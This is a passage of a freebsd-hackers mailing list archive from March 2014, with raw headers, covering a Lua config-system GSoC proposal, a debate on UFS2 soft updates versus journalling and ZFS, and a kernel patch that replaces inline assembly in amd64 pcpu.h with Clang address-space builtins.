[IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8019B872 for ; Fri, 14 Mar 2014 17:11:04 +0000 (UTC) Received: from mail-vc0-x22c.google.com (mail-vc0-x22c.google.com [IPv6:2607:f8b0:400c:c03::22c]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 4003B614 for ; Fri, 14 Mar 2014 17:11:04 +0000 (UTC) Received: by mail-vc0-f172.google.com with SMTP id la4so3109109vcb.3 for ; Fri, 14 Mar 2014 10:11:03 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=AyLLNndXcVXZPvXyj2pM548ZlqqFtPyzoab/aF9P08Q=; b=On0TRCV36EppmCb5pi/59esBBhHxa/6Rot6ZHJW8BuAxnkS7psTOdNikvQEW/rQb3k 8P2LC09erTCfqetzz+i5JQzkyh58O+ECxng+voH0HVq+jRrtGroZnSXXfXQpwvhTSE9j nSZw7EjA5wriIv3PfIukLE/OGqfmO879mumT62P/WNBx/vVdl6gxxnPpYMHXwku6eScU Zu4Hqh0wqU8MDq/JazVkeWHjJgafR6e19nPjfo8/csKHxin+uuTKOZ5u4r2ub2nA0+4H +g2gULokQlXdfOUL6GlYqwTRjpQNGXSQwiLaRx1flT9VjE3d1mgsz4ZxvfVGLDd3Sl0l hrnA== MIME-Version: 1.0 X-Received: by 10.58.122.164 with SMTP id lt4mr7313068veb.2.1394817063320; Fri, 14 Mar 2014 10:11:03 -0700 (PDT) Received: by 10.59.6.199 with HTTP; Fri, 14 Mar 2014 10:11:03 -0700 (PDT) Date: Sat, 15 Mar 2014 01:11:03 +0800 Message-ID: Subject: Overhaul the config system with Lua From: =?UTF-8?B?5pyx5rGf?= To: freebsd-hackers Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 14 Mar 2014 17:11:04 -0000 Hi all, I want to overhaul the config system with Lua, and it will be my GSoC 2014 project. Here is the proposal . I will create a wiki in my site soon. Please let me know if you have any good ideas about the new config system. They will not be a part of my GSoC project, however, I will do this work continuously after GSoC. One more thing, as I wrote in the proposal, I just want to give something back to the community, so I will do this work even if I'm not accepted participating GSoC. Just let me know if you have good ideas, because it is you who use config everyday. Your advices are very important to me and the project. Best regards, -- Jiang Zhu mail.jiang.cn@gmail.com http://www.jzhu.me From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 14 17:12:03 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 62A83969 for ; Fri, 14 Mar 2014 17:12:03 +0000 (UTC) Received: from smtp.gentoo.org (woodpecker.gentoo.org [IPv6:2001:470:ea4a:1:214:c2ff:fe64:b2d3]) (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 3BC0D632 for ; Fri, 14 Mar 2014 17:12:03 +0000 (UTC) Received: from [192.168.1.2] (pool-173-52-87-124.nycmny.fios.verizon.net [173.52.87.124]) (using TLSv1 with cipher ECDHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) (Authenticated sender: ryao) by smtp.gentoo.org (Postfix) with ESMTPSA id 6063333FAA7; Fri, 14 Mar 2014 17:12:02 +0000 (UTC) Message-ID: <5323386F.2020402@gentoo.org> Date: Fri, 14 Mar 2014 13:12:15 -0400 From: Richard Yao User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: RW , freebsd-hackers@freebsd.org Subject: Re: GSoC proposition: multiplatform UFS2 driver References: <20140314152732.0f6fdb02@gumby.homeunix.com> In-Reply-To: <20140314152732.0f6fdb02@gumby.homeunix.com> X-Enigmail-Version: 1.6 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="3ef1Mo0f5OhqHMkeDsM6XONdE9NtF19GE" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 14 Mar 2014 17:12:03 -0000 This is an OpenPGP/MIME signed message (RFC 4880 and 3156) --3ef1Mo0f5OhqHMkeDsM6XONdE9NtF19GE Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable On 03/14/2014 11:27 AM, RW wrote: > On Thu, 13 Mar 2014 18:22:10 -0800 > Dieter BSD wrote: >=20 >> Julio writes, >>> That being said, I do not like the idea of using NetBSD's UFS2 >>> code. It lacks Soft-Updates, which I consider to make FreeBSD UFS2 >>> second only to ZFS in desirability. >> >> FFS has been in production use for decades. ZFS is still wet behind >> the ears. Older versions of NetBSD have soft updates, and they work >> fine for me. I believe that NetBSD 6.0 is the first release without >> soft updates. They claimed that soft updates was "too difficult" to >> maintain. I find that soft updates are *essential* for data >> integrity (I don't know *why*, I'm not a FFS guru).=20 >=20 > NetBSD didn't simply drop soft-updates, they replaced it with > journalling, which is the approach used by practically all modern > filesystems.=20 The result is the same in that they no longer have soft-updates. I consider this to be a step backward. Journaling is predicated on the idea that you can fix things after they go wrong. I consider this to be the wrong approach to consistency. However, journalling that stores all changes does improve performance in comparison to soft-updates in short lived files. Such benefits could be obtained through the use of an intent log, similar to the ZFS Intent Log. An intent log is very similar to a journal in its ability to improve performance. However, it functions differently because its main purpose is to act as a buffer to store information about things that the filesystem has promised it would do and then enable them to be done asynchronously for improved performance. A journal is meant to enable a filesystem that is inconsistent to be brought into a consistent state. If you are always consistent like ZFS, you can forgo the need to be made consistent and reap the performance benefits from an intent log. At present, all synchronous operations on ZFS that are 32KB or less are sent to ZIL first and then written back asynchronously. This enables ZFS to obtain extraordinardily impressive performance in workloads in which many believe CoW filesystems to be at an inherit disadvantage. For example, here is a quote from a discussion on the btrfs development list after ZFS outperformed btrfs in Phoronix's tests: > Not a whole > lot we can do about this since unaligned writes means we have to read i= n pages > to cow the block properly, which is why we fall back to buffered. Once= we do > that we end up having a lot of page locking stuff that gets in the way = and makes > us twice as slow. http://thread.gmane.org/gmane.comp.file-systems.btrfs/27546/focus=3D27555= Previous tests by Phoronix had placed ZFS in last place and the ZIL is not the reason for this change in performance. The actual reason for the change in performance was that I had modified ZFSOnLinux to set ZFS' internal alignment shift correctly when creating new vdevs on block devices known to lie. The list of devices known to lie happened to include the hardware used for benchmarking by Phoronix. That being said, ZIL is the sole reason ZFS was able to perform as well as it did once the alignment issue had been resolved. You can see this for yourself by setting sync=3Dalways on ZFS. That will disable ZIL and let you see how ZFS performs without it. It will not be pleasant. > A number of people on the questions list have said that they find > UFS+SU to be considerably less robust than the journalled filesystems > of other OS's. This is not a constructive criticism. First, it is not possible for a filesystem developer to act without a description of the system, what was running and what went wrong. Second, it is ambiguous. What does "robust" even mean here? I can think of several possible meanings. --3ef1Mo0f5OhqHMkeDsM6XONdE9NtF19GE Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iQIcBAEBAgAGBQJTIzhyAAoJECDuEZm+6ExkSf0QAKq3grWNulcuFl5Hh3gE2Udq AnomphSeiqs8ZNjylOF2PFPiirSHfexNfrKAqOGvJSGq4njJjFz6DMV412m0hSpl JZGv3yNgnS8bUZprcpun298OK9POSrgV/XmgtNmhYS3S14y1h1p+xPmdZYx/TwEi lA3i4Uns8mRxn/fZHh5sjqPdNEzgONj521nmEiW8TGuLc9giKyAGjKv++38W9upe DSPnl6zbj4Y9wy+q58T1lG0iMzgc+LHtHkwZn2bVSzQOoIwMdsd76lqf8L+kqJJ5 sirA+v0lwpd1ZpnehkWmV4fEVHBTEuMjnCcWGqA9kTg4Tnaa8jp9iZJ8GOX5zRgm /wMqMiWjCFLGkg4fTI6KLEZzisMDGbQwgS3tMbwAGZV0aa3p04027RYPqpUb6LJV +3dJjPnnVg69GLbAn479UHdlqZgaQA9BCo7Rv7Xp1VkNYnPYrdYSEfEhscvmsCif FJVImC2eJAozZU9IcHUAUQcerM1vgk8znj+oL3Tky8CvLHkbRsB/HidNeyIjc7Em e1EMi4Qhpl1eiyBw8Y7RZF2U0qwGBsz+MfxNi9ajxS7hkbEWR1qAhtChlju2TJ44 SBefupz/uEpMg2etK81UiRYIHtmdhcUn4HYoHrjh/aGFxoNP6Wx0HzuhiGte/tkr 05nc6pJP1d5wOZFFSOB6 =IXWF -----END PGP SIGNATURE----- --3ef1Mo0f5OhqHMkeDsM6XONdE9NtF19GE-- From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 14 17:57:21 2014 Return-Path: Delivered-To: freebsd-hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1903710C for ; Fri, 14 Mar 2014 17:57:21 +0000 (UTC) Received: from mho-01-ewr.mailhop.org (mho-03-ewr.mailhop.org [204.13.248.66]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id E1CD0ABD for ; Fri, 14 Mar 2014 17:57:20 +0000 (UTC) Received: from c-24-8-230-52.hsd1.co.comcast.net ([24.8.230.52] helo=damnhippie.dyndns.org) by mho-01-ewr.mailhop.org with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.72) (envelope-from ) id 1WOUCz-0005pY-R1; Fri, 14 Mar 2014 15:39:41 +0000 Received: from [172.22.42.240] (revolution.hippie.lan [172.22.42.240]) by damnhippie.dyndns.org (8.14.3/8.14.3) with ESMTP id s2EFdcTC064196; Fri, 14 Mar 2014 09:39:38 -0600 (MDT) (envelope-from ian@FreeBSD.org) X-Mail-Handler: Dyn Standard SMTP by Dyn X-Originating-IP: 24.8.230.52 X-Report-Abuse-To: abuse@dyndns.com (see http://www.dyndns.com/services/sendlabs/outbound_abuse.html for abuse reporting information) X-MHO-User: U2FsdGVkX19v/MDwyhdbKV/DVd0tFgsp Subject: Re: GSoC proposition: multiplatform UFS2 driver From: Ian Lepore To: RW In-Reply-To: <20140314152732.0f6fdb02@gumby.homeunix.com> References: <20140314152732.0f6fdb02@gumby.homeunix.com> Content-Type: text/plain; charset="us-ascii" Date: Fri, 14 Mar 2014 09:39:37 -0600 Message-ID: <1394811577.1149.543.camel@revolution.hippie.lan> Mime-Version: 1.0 X-Mailer: Evolution 2.32.1 FreeBSD GNOME Team Port Content-Transfer-Encoding: 7bit Cc: freebsd-hackers@FreeBSD.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 14 Mar 2014 17:57:21 -0000 On Fri, 2014-03-14 at 15:27 +0000, RW wrote: > On Thu, 13 Mar 2014 18:22:10 -0800 > Dieter BSD wrote: > > > Julio writes, > > > That being said, I do not like the idea of using NetBSD's UFS2 > > > code. It lacks Soft-Updates, which I consider to make FreeBSD UFS2 > > > second only to ZFS in desirability. > > > > FFS has been in production use for decades. ZFS is still wet behind > > the ears. Older versions of NetBSD have soft updates, and they work > > fine for me. I believe that NetBSD 6.0 is the first release without > > soft updates. They claimed that soft updates was "too difficult" to > > maintain. I find that soft updates are *essential* for data > > integrity (I don't know *why*, I'm not a FFS guru). > > NetBSD didn't simply drop soft-updates, they replaced it with > journalling, which is the approach used by practically all modern > filesystems. > > A number of people on the questions list have said that they find > UFS+SU to be considerably less robust than the journalled filesystems > of other OS's. What I've seen claimed is that UFS+SUJ is less robust. That's a very different thing than UFS+SU. Journaling was nailed onto the side of UFS +SU as an afterthought, and it shows. -- Ian From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 14 18:17:41 2014 Return-Path: Delivered-To: freebsd-hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A1ECC65B; Fri, 14 Mar 2014 18:17:41 +0000 (UTC) Received: from smtp.gentoo.org (smtp.gentoo.org [140.211.166.183]) (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 828A7CA2; Fri, 14 Mar 2014 18:17:41 +0000 (UTC) Received: from [192.168.1.157] (pool-173-52-87-124.nycmny.fios.verizon.net [173.52.87.124]) (using TLSv1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) (Authenticated sender: ryao) by smtp.gentoo.org (Postfix) with ESMTPSA id 7EAB233F141; Fri, 14 Mar 2014 18:17:40 +0000 (UTC) References: <20140314152732.0f6fdb02@gumby.homeunix.com> <1394811577.1149.543.camel@revolution.hippie.lan> Mime-Version: 1.0 (1.0) In-Reply-To: <1394811577.1149.543.camel@revolution.hippie.lan> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Message-Id: <1626A8BF-3875-4287-9F85-51F387986736@gentoo.org> X-Mailer: iPad Mail (10B146) From: Richard Yao Subject: Re: GSoC proposition: multiplatform UFS2 driver Date: Fri, 14 Mar 2014 14:17:38 -0400 To: Ian Lepore Cc: "freebsd-hackers@FreeBSD.org" , RW X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 14 Mar 2014 18:17:41 -0000 On Mar 14, 2014, at 11:39 AM, Ian Lepore wrote: > On Fri, 2014-03-14 at 15:27 +0000, RW wrote: >> A number of people on the questions list have said that they find >> UFS+SU to be considerably less robust than the journalled filesystems >> of other OS's. =20 >=20 > What I've seen claimed is that UFS+SUJ is less robust. That's a very > different thing than UFS+SU. Journaling was nailed onto the side of UFS > +SU as an afterthought, and it shows. This makes sense to me and I am more willing to believe it than the previous= claim. I have yet to see a report of a problem involving soft updates that c= ould not have been caused by hardware doing something UFS2 SU was not design= ed to handle, such as a misdirected write. Sadly, such reports lack the deta= il needed to distinguish between filesystem bugs and hardware errors. Placin= g UFS2 SU on a ZFS zvol would prevent such failure modes from happening.= From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 14 18:31:28 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5C6EB96E; Fri, 14 Mar 2014 18:31:28 +0000 (UTC) Received: from mailuogwdur.emc.com (mailuogwdur.emc.com [128.221.224.79]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 07F2BE28; Fri, 14 Mar 2014 18:31:27 +0000 (UTC) Received: from maildlpprd55.lss.emc.com (maildlpprd55.lss.emc.com [10.106.48.159]) by mailuogwprd53.lss.emc.com (Sentrion-MTA-4.3.0/Sentrion-MTA-4.3.0) with ESMTP id s2EIVGSh002358 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 14 Mar 2014 14:31:19 -0400 X-DKIM: OpenDKIM Filter v2.4.3 mailuogwprd53.lss.emc.com s2EIVGSh002358 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=isilon.com; s=jan2013; t=1394821879; bh=ZTNHAldhyy4iZr4n9k/7b7R15m0=; h=From:To:CC:Subject:Date:Message-ID:Content-Type: Content-Transfer-Encoding:MIME-Version; b=dFlYr7eXGeIg6mbZ6RttVdU/biRIHJ2ImxJvO/1rCH6AGB8eXEYJ4+cidQiqnA6bk my5lRtSR14v68d2QRYWN7xF22XNkbxV52n5acae47O7lY2nNlAaTUNhbbYqvsnMpmz so1CHAIYTOmuy0AO4P/54fvM84oK/WLTBH47N0j8= X-DKIM: OpenDKIM Filter v2.4.3 mailuogwprd53.lss.emc.com s2EIVGSh002358 Received: from mailusrhubprd01.lss.emc.com (mailusrhubprd01.lss.emc.com [10.253.24.19]) by maildlpprd55.lss.emc.com (RSA Interceptor); Fri, 14 Mar 2014 14:31:09 -0400 Received: from mxhub25.corp.emc.com (mxhub25.corp.emc.com [10.254.110.181]) by mailusrhubprd01.lss.emc.com (Sentrion-MTA-4.3.0/Sentrion-MTA-4.3.0) with ESMTP id s2EIV9NT024383 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=FAIL); Fri, 14 Mar 2014 14:31:09 -0400 Received: from MXHUB104.corp.emc.com (10.253.58.16) by mxhub25.corp.emc.com (10.254.110.181) with Microsoft SMTP Server (TLS) id 8.3.327.1; Fri, 14 Mar 2014 14:31:08 -0400 Received: from MX103CL02.corp.emc.com ([169.254.6.182]) by MXHUB104.corp.emc.com ([::1]) with mapi id 14.03.0158.001; Fri, 14 Mar 2014 14:31:08 -0400 From: "Meyer, Conrad" To: Bryan Drewery Subject: [PATCH] amd64/pcpu.h: Use Clang builtins for clarity when referencing thread's pcpu Thread-Topic: [PATCH] amd64/pcpu.h: Use Clang builtins for clarity when referencing thread's pcpu Thread-Index: AQHPP7ORFQWDnOxBbUqa6FTdfgehbA== Date: Fri, 14 Mar 2014 18:31:08 +0000 Message-ID: <1394821826-19412-1-git-send-email-conrad.meyer@isilon.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [137.69.152.119] Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Sentrion-Hostname: mailusrhubprd01.lss.emc.com X-RSA-Classifications: public Cc: "freebsd-hackers@freebsd.org" , "Meyer, Conrad" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 14 Mar 2014 18:31:28 -0000 We can efficiently reference thread-local pcpu members via the %gs register with Clang-annotated C code, in place of inline GNU assembly. Motivations: - Use C in leiu of inline assembly for clarity - Clang's static analyser may be better able to understand PCPU_* macros using the C constructs rather than inline assembly (unverified) Sponsored by: EMC/Isilon storage division Signed-off-by: Conrad Meyer Reviewed-by: Max Laier --- This is more of a "what do you think?" than a pull request. It seems like u= sing annotated C instead of asm is nice (in particular, Clang detects casts from pointers typed with one segment to another, or unsegmented type). On the ot= her hand, this is code that doesn't change frequently, and we may still need to support GCC for some time. So adding a second, parallel implementation just doubles room for bugs. Open questions: - How long is GCC intended to be supported as a compiler? - How atomic does PCPU_INC() need to be? It looks like it updates cpu-loc= al counters; as long as it's a single asm instruction, should it be fine w.r.t. interrupts? The existing implementation does NOT use the 'lock; = ' prefix. See the following simple example: $ cat gstest.c #include #include #define GS_RELATIVE __attribute__((address_space(256))) struct pcpu { void *curthread; struct pcpu *self; }; struct pcpu * __curpcpu(void) { volatile struct pcpu * GS_RELATIVE *res =3D (volatile struct pcpu * GS_RELATIVE *) __offsetof(struct pcpu, self); return (*res); } $ clang -Wall -Wextra -O1 -c gstest.c $ objdump -d gstest.o gstest.o: file format elf64-x86-64 Disassembly of section .text: 0000000000000000 <__curpcpu>: 0: 65 48 8b 04 25 08 00 mov %gs:0x8,%rax 7: 00 00 9: c3 retq Support has been present since at least April 9, 2009 (when documentation of the feature was first added to LanguageExtensions.html). So all Clang versions in BSD core (BSD9, BSD10) should support the feature. --- sys/amd64/include/pcpu.h | 98 +++++++++++++++++++++++++++++++++++++++++---= ---- 1 file changed, 84 insertions(+), 14 deletions(-) diff --git a/sys/amd64/include/pcpu.h b/sys/amd64/include/pcpu.h index fe898e9..68892fc 100644 --- a/sys/amd64/include/pcpu.h +++ b/sys/amd64/include/pcpu.h @@ -81,7 +81,7 @@ extern struct pcpu *pcpup; #define PCPU_PTR(member) (&pcpup->pc_ ## member) #define PCPU_SET(member, val) (pcpup->pc_ ## member =3D (val)) =20 -#elif defined(__GNUCLIKE_ASM) && defined(__GNUCLIKE___TYPEOF) +#elif defined(__clang__) || (defined(__GNUCLIKE_ASM) && defined(__GNUCLIKE= ___TYPEOF)) =20 /* * Evaluates to the byte offset of the per-cpu variable name. @@ -95,6 +95,80 @@ extern struct pcpu *pcpup; #define __pcpu_type(name) \ __typeof(((struct pcpu *)0)->name) =20 +#if defined(__clang__) + +#define __GS_RELATIVE __attribute__((address_space(256))) + +/* + * Evaluates to the address of the per-cpu variable name. + */ +#define __PCPU_PTR(name) __extension__ ({ \ + volatile __pcpu_type(name) __GS_RELATIVE *__p; \ + \ + __p =3D (volatile __pcpu_type(name) __GS_RELATIVE *)__pcpu_offset(name); = \ + __p; \ +}) + +#define __PCPU_PTRX(name) __extension__ ({ \ + volatile __pcpu_type(pc_prvspace) __GS_RELATIVE *__p; \ + __pcpu_type(name) *__mp; \ + \ + __p =3D __PCPU_PTR(pc_prvspace); \ + __mp =3D &(*__p)->name; \ + __mp; \ +}) +#define PCPU_PTR(member) __PCPU_PTRX(pc_ ## member) + +/* + * Evaluates to the value of the per-cpu variable name. + */ +#define __PCPU_GET(name) __extension__ ({ \ + *__PCPU_PTR(name); \ +}) + +/* + * Adds the value to the per-cpu counter name. The implementation + * must be atomic with respect to interrupts. + */ +#define __PCPU_ADD(name, val) do { \ + __pcpu_type(name) __val; \ + volatile __pcpu_type(name) __GS_RELATIVE *__ptr; \ + \ + __val =3D (val); \ + __ptr =3D __PCPU_PTR(name); \ + *__ptr +=3D __val; \ +} while (0) + +/* + * Increments the value of the per-cpu counter name. The implementation + * must be atomic with respect to interrupts. + */ +#define __PCPU_INC(name) __PCPU_ADD(name, 1) + +/* + * Sets the value of the per-cpu variable name to value val. + */ +#define __PCPU_SET(name, val) do { \ + __pcpu_type(name) __val; \ + volatile __pcpu_type(name) __GS_RELATIVE *__ptr; \ + \ + __val =3D (val); \ + __ptr =3D __PCPU_PTR(name); \ + *__ptr =3D __val; \ +} while (0) + +#define curthread __extension__ ({ \ + *((volatile __pcpu_type(pc_curthread) __GS_RELATIVE *) \ + __pcpu_offset(pc_curthread)); \ +}) + +#define curpcb __extension__ ({ \ + *((volatile __pcpu_type(pc_curpcb) __GS_RELATIVE *) \ + __pcpu_offset(pc_curpcb)); \ +}) + +#else /* !__clang__ */ + /* * Evaluates to the address of the per-cpu variable name. */ @@ -200,17 +274,7 @@ extern struct pcpu *pcpup; } \ } =20 -#define PCPU_GET(member) __PCPU_GET(pc_ ## member) -#define PCPU_ADD(member, val) __PCPU_ADD(pc_ ## member, val) -#define PCPU_INC(member) __PCPU_INC(pc_ ## member) -#define PCPU_PTR(member) __PCPU_PTR(pc_ ## member) -#define PCPU_SET(member, val) __PCPU_SET(pc_ ## member, val) - #define OFFSETOF_CURTHREAD 0 -#ifdef __clang__ -#pragma clang diagnostic push -#pragma clang diagnostic ignored "-Wnull-dereference" -#endif static __inline __pure2 struct thread * __curthread(void) { @@ -220,9 +284,6 @@ __curthread(void) : "m" (*(char *)OFFSETOF_CURTHREAD)); return (td); } -#ifdef __clang__ -#pragma clang diagnostic pop -#endif #define curthread (__curthread()) =20 #define OFFSETOF_CURPCB 32 @@ -236,6 +297,15 @@ __curpcb(void) } #define curpcb (__curpcb()) =20 +#define PCPU_PTR(member) __PCPU_PTR(pc_ ## member) + +#endif /* __clang__ */ + +#define PCPU_GET(member) __PCPU_GET(pc_ ## member) +#define PCPU_ADD(member, val) __PCPU_ADD(pc_ ## member, val) +#define PCPU_INC(member) __PCPU_INC(pc_ ## member) +#define PCPU_SET(member, val) __PCPU_SET(pc_ ## member, val) + #define IS_BSP() (PCPU_GET(cpuid) =3D=3D 0) =20 #else /* !lint || defined(__GNUCLIKE_ASM) && defined(__GNUCLIKE___TYPEOF) = */ --=20 1.8.5.3 From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 14 18:36:53 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 184A5C64; Fri, 14 Mar 2014 18:36:53 +0000 (UTC) Received: from mail-ee0-x22c.google.com (mail-ee0-x22c.google.com [IPv6:2a00:1450:4013:c00::22c]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 78057E68; Fri, 14 Mar 2014 18:36:52 +0000 (UTC) Received: by mail-ee0-f44.google.com with SMTP id e49so1708726eek.17 for ; Fri, 14 Mar 2014 11:36:51 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:subject:mime-version:content-type:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to; bh=DnVTALCmHnoD9gpWCVHCFJbKGSw3lsmBVljUeBVEN90=; b=j3fgUtHtR/SJz7IFzXB4ZsMXtaY9AwGo0MYj/PNeeG199yQ4Vha705M6biefVC+uIo cDXuIgv1uzCMwm/Eullt0g2FiRTqU2Kg5q4xtjLVoajAu+4C1+dW4PXpCAibCsVm8PAV qgbbvxLx4dkh1ouhbloTR1rj86rCM1OMjw7jheBQhpcVK7q83+2+kDjlR7epoJcSx0FG e++6QECMStNFhVQFtaiIr3NsIaz9yh3uLNBI2FhJ8OojX7Xt18/Wsj3Cy9L1YHVkQ3VW ANya6v3a0mXfQYZ2mJabNcmbDj4EWv0dYNG0nx3K524vphCAkrx9Au5nIKCbSXCPJ2be hh5A== X-Received: by 10.15.49.196 with SMTP id j44mr4308987eew.98.1394822210924; Fri, 14 Mar 2014 11:36:50 -0700 (PDT) Received: from strashydlo.home (adfi238.neoplus.adsl.tpnet.pl. [79.184.112.238]) by mx.google.com with ESMTPSA id i47sm18900649eeg.6.2014.03.14.11.36.49 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Fri, 14 Mar 2014 11:36:50 -0700 (PDT) Sender: =?UTF-8?Q?Edward_Tomasz_Napiera=C5=82a?= Subject: Re: GSoC proposition: multiplatform UFS2 driver Mime-Version: 1.0 (Apple Message framework v1283) Content-Type: text/plain; charset=iso-8859-2 From: =?iso-8859-2?Q?Edward_Tomasz_Napiera=B3a?= In-Reply-To: <1394811577.1149.543.camel@revolution.hippie.lan> Date: Fri, 14 Mar 2014 19:36:48 +0100 Content-Transfer-Encoding: quoted-printable Message-Id: <0405D29C-D74B-4343-82C7-57EA8BEEF370@FreeBSD.org> References: <20140314152732.0f6fdb02@gumby.homeunix.com> <1394811577.1149.543.camel@revolution.hippie.lan> To: Ian Lepore X-Mailer: Apple Mail (2.1283) Cc: freebsd-hackers@FreeBSD.org, RW X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 14 Mar 2014 18:36:53 -0000 Wiadomo=B6=E6 napisana przez Ian Lepore w dniu 14 mar 2014, o godz. = 16:39: > On Fri, 2014-03-14 at 15:27 +0000, RW wrote: >> On Thu, 13 Mar 2014 18:22:10 -0800 >> Dieter BSD wrote: >>=20 >>> Julio writes, >>>> That being said, I do not like the idea of using NetBSD's UFS2 >>>> code. It lacks Soft-Updates, which I consider to make FreeBSD UFS2 >>>> second only to ZFS in desirability. >>>=20 >>> FFS has been in production use for decades. ZFS is still wet behind >>> the ears. Older versions of NetBSD have soft updates, and they work >>> fine for me. I believe that NetBSD 6.0 is the first release without >>> soft updates. They claimed that soft updates was "too difficult" to >>> maintain. I find that soft updates are *essential* for data >>> integrity (I don't know *why*, I'm not a FFS guru).=20 >>=20 >> NetBSD didn't simply drop soft-updates, they replaced it with >> journalling, which is the approach used by practically all modern >> filesystems.=20 >>=20 >> A number of people on the questions list have said that they find >> UFS+SU to be considerably less robust than the journalled filesystems >> of other OS's. =20 Let me remind you that some other OS-es had problems such as truncation of files which were _not_ written (XFS), silently corrupting metadata = when there were too many files in a single directory (ext3), and panicing = instead of returning ENOSPC (btrfs). ;-> > What I've seen claimed is that UFS+SUJ is less robust. That's a very > different thing than UFS+SU. Journaling was nailed onto the side of = UFS > +SU as an afterthought, and it shows. Not really - it was developed rather recently, and with filesystems it = usually shows, but it's not "nailed onto the side": it complements SU operation by journalling the few things which SU doesn't really handle and which used to require background fsck. One problem with SU is that it depends on hardware not lying about write completion. Journalling filesystems usually just issue flushes instead. From 